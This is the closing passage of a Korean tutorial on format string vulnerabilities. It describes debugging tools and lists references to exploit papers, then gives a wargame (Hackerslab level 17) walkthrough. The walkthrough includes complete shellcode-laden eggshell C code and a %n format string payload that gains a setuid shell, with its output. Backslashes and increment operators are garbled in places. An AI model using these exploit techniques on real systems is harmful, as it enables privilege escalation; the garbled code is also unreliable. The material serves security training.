이미 만들어진 모든 포맷 함수는 라이브러리 호출과 그들의 인자들이며, 가장 중요한 것은 그들의 주소들이 ltrace 를 사용하여 확인될 수 있다는 것이다. 이런 식으로 한다면 우리가 ptrace 할 수 있는 어떤 프로세스의 포맷 스트링 주소를 신속하게 확인할 수 있다. strace 프로그램은 데이터가 읽혀지는 버퍼의 주소를 확인하는데 사용된다. 이 두 가지 둘을 배우기 위해서는 많은 시간이 필요한데, 이 둘들을 GDB attach 하는데 사용할 것이다.

7.2 GDB, objdump

고전적인 GNU 디버그인 GDB 는 텍스트 기반의 디버그인데, 소스 차원과 머신 코드 디버깅을 위해 적절하다. 일단 이것에 익숙해지면 프로그램 인터널에 대한 강력한 인터페이스가 될 것이다. exploit 을 디버깅하는 것으로부터 프로세스가 악스플로잇되는 것을 지켜보는 것까지 어떤 것을 위해서도 편리하다.

Objdump 은 메모리 레이아웃과 같은 실행 가능한 바이너리나 오브젝트 파일에 대한 정보를 알아내는데 적절한 프로그램이다. 우리는 주로 바이너리로부터 GOT 엔트리의 주소를 알아내는데 사용할 것이다. 물론 다른 유용한 방식으로도 사용될 수 있다.

[참고문헌]

- [1] TESO Security Group, <http://www.team-teso.net/>
- [2] Chaos Computer Club: 17th Chaos Communication Congress,
<http://www.ccc.de/congress/>

- [3] portal, "Format String Exploitation Demystified , preliminary version 21, not yet published",
<http://www.security.is/>
- [4] Pascal Bouchareine, "format string vulnerability",
<http://www.hert.org/papers/format.html>
- [5] Plasmoid / THC, Stack over flows,
<http://www.thehackerschoice.com/papers/OVERFLOW.TXT>
- [6] Halvar Flake, Auditing binaries for security vulnerabilities ,
<http://www.blackhat.com/presentations/bh-europe-00/HalvarFlake/HalvarFlake.ppt>
- [7] GDB, The GNU Debugger,
<http://www.gnu.org/software/gdb/gdb.html>
- [8] ltrace, no official maintainer,
<http://www.debian.org/Packages/stable/utils/ltrace.html>
- [9] strace,
<http://www.wi.leidenuniv.nl/%7ewichert/strace/>
- [10] GNU binutils,
<http://www.gnu.org/gnulist/production/binutils.html>
- [11] PaX group, "Implementing non executable rw pages on the x86",
<http://pageexec.virtualave.net/>
- [12] Tool Interface Standard, Executeable and Linking Format Specifications v1.2,
<http://segfault.net%7escut/cpu/generic/TIS-ELF v1.2.pdf>
- [13] Silvio, ELF executable reconstruction from a core image ,
<http://www.big.net.au/%7esilvio/core-reconstruction.txt>
- [14] Solar Designer, post to Bugtraq mailing list demonstrating return into libc, Bugtraq Archives 1997 August 10
- [15] Solar Designer, JPEG COM Marker Processing Vulnerability in Netscape Browsers, advisory demonstrating malloc management information overwrite,
<http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt>
- [16] Pascal Bouchareine, __atexit in memory bugs: proof of concept
- [17] Juan M. Bello Rivas, Overwriting the .dtors section
- [18] Matt Conover aka Shok, w00w00 on Heap Over ows ,
<http://www.w00w00.org/files/articles/heaptut.txt>
- [19] Bulba and Kil3r, Lam3rZ, Bypassing StackGuard and StackShield, Phrack issue 56, article #5, <http://phrack.infonexus.com/>
- [20] Kil3r, Lam3rZ, 33_su.c, exploit for su/msgfmt for Immunix Linux
- [21] LSD crew, IRIX telnet daemon exploit irx_telnetd.c and explanations,
<http://www.lsd-pl.net/>

<http://www.securityfocus.com/templates/archive.pike?list=1&mid=75864>

[22] TESO wu-ftpd 2.6.0 exploit: 7350wu,

<http://www.team-teso.net/releases.php>

----- EOF -----

/* 다음은 해커즈랩 레벨 17 문제(포맷스트링 문제) 풀이 과정입니다. 포맷 스트링 글을 마치며
울렸는데, 저가 사용한 방법이니 참고만 하시기 바랍니다. 이제까지 관련 글을 읽고 포맷 스트링
버그를 공격하는 방법을 실습해보시길 바랍니다. */

[level16@drill tmp]\$ find / -perm -4000 -user level17 2> /dev/null -exec ls -al {} \;

-rws--x--- 1 level17 level16 963025 Apr 20 13:35 /usr/local/bin/format

[level16@drill tmp]\$./usr/local/bin/format

INPUT : AAAA%x%x%x%

OUTPUT : AAAA414141417825782578257825a

&stack is 0xbffffc9c

[level16@drill tmp]\$ mkdir vangelis

[level16@drill tmp]\$ cd vangelis

[level16@drill vangelis]\$ vi eggshell.c

#include <stdlib.h>

#define OFFSET 0

#define BUFFER 512

#define EGG 2048

#define NOP 0x90

char shellcode[] =

"Wx55Wx89Wxe5WxebWx1fWx5eWx89Wx76Wx08Wx31Wxc0Wx88Wx46Wx07Wx89Wx46"

"Wx0cWxb0Wx0bWx89Wxf3Wx8dWx4eWx08Wx8dWx56Wx0cWxcdWx80Wx31WxdbWx89"

"Wxd8Wx40WxcdWx80Wxe8WxdcWxffWxffWx2fWx62Wx69Wx6eWx2fWx73Wx68"

"Wx00Wxc9Wxc3Wx90/bin/sh";

unsigned long get_esp(void)

{

_asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

```
{\n    char *buff, *ptr, *egg;\n    long *addr_ptr, addr;\n\n    int offset = OFFSET, buffer = BUFFER;\n    int i, egg_s = EGG;\n\n    if (argc > 1) buffer = atoi(argv[1]);\n    if (argc > 2) offset = atoi(argv[2]);\n    if (argc > 3) egg_s = atoi(argv[3]);\n\n    if (!(buff = malloc(buffer)))\n    {\n        printf("Failed.Wn");\n        exit(0);\n    }\n\n    if (!(egg = malloc(egg_s)))\n    {\n        printf("Failed.Wn");\n        exit(0);\n    }\n\n    addr = get_esp() - offset;\n\n    printf("Using address: 0x%Wn", addr);\n\n    ptr = buff;\n\n    addr_ptr = (long *) ptr;\n\n    for (i=0;i<buffer;i+=4)\n        *(addr_ptr+ ) = addr;\n\n    ptr = egg;\n\n    for (i=0;i<egg_s - strlen(shellcode) - 1;i+ +)\n        *(ptr+ ) = NOP;\n\n    for (i=0;i<strlen(shellcode);i+ +)\n        *(ptr+ +) = shellcode[i];\n\n    buff[buffer - 1] = 'W0';\n    egg[egg_s - 1] = 'W0';\n\n    memcpy(egg,"EGG=",4);\n    putenv(egg);\n\n    memcpy(buff,"RET=",4);\n    putenv(buff);\n\n    system("/bin/bash");\n}
```

```
}
```

```
[level16@drill vangelis]$ gcc -o eggshell eggshell.c
[level16@drill vangelis]$ ./eggshell
Using address: 0xbffff6d8
[level16@drill vangelis]$ /usr/local/bin/format
INPUT : AAAA%x%x%x
OUTPUT : AAAA41414141782578257825a
&stack is 0xbfff79f4 /* real return address */
[level16@drill vangelis]$ cat > attack
(printhf
"Wx41Wx41Wx41Wx41Wxf4Wx79WxffWxbfWx41Wx41Wx41Wxf6Wx79WxffWxbf%%6317
6c%%n%%51495c%%n";cat) | /usr/local/bin/format
[level16@drill vangelis]$ chmod 755 attack
[level16@drill vangelis]$ ./attack
```

```
whoami
level17
id
uid=2016(level16) gid=2016(level16) euid=2017(level17) groups=2016(level16)
```